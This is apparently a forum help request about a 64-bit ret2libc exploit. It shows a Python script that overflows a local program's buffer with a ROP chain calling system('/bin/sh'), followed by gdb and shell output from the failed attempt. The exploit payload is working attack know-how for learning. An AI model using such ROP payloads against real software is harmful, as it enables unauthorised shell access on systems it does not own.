Here is the code:
import struct
buf = ""
buf += "A" * 552
buf += struct.pack('<Q', 0x401493) # pop rdi; ret
buf += struct.pack('<Q', 0x7ffff7f79152) # /bin/sh
buf += struct.pack('<Q', 0x7ffff7e37e50) # system
file = open('in.txt', 'wb')
file.write(buf)
Running in gdb shows this:
[Attaching after process 5973 vfork to child process 5977]
[New inferior 2 (process 5977)]
[Detaching vfork parent process 5973 after child exec]
[Inferior 1 (process 5973) detached]
process 5977 is executing new program: /usr/bin/dash
[Attaching after process 5977 vfork to child process 5978]
[New inferior 3 (process 5978)]
[Detaching vfork parent process 5977 after child exec]
[Inferior 2 (process 5977) detached]
process 5978 is executing new program: /usr/bin/dash
[Inferior 3 (process 5978) exited normally]
Running without gdb ((cat in.txt; cat) | ./program
) shows this:
zsh: broken pipe ( cat in.txt; cat; ) |
zsh: segmentation fault ./program
What am I doing wrong? The ROP executes (it gets to system with "/bin/sh" in RDI) and gdb shows that it is trying to launch /usr/bin/dash
(multiple times, for some reason) but no shell spawns
Kali 2021.3 x64, libc 2.31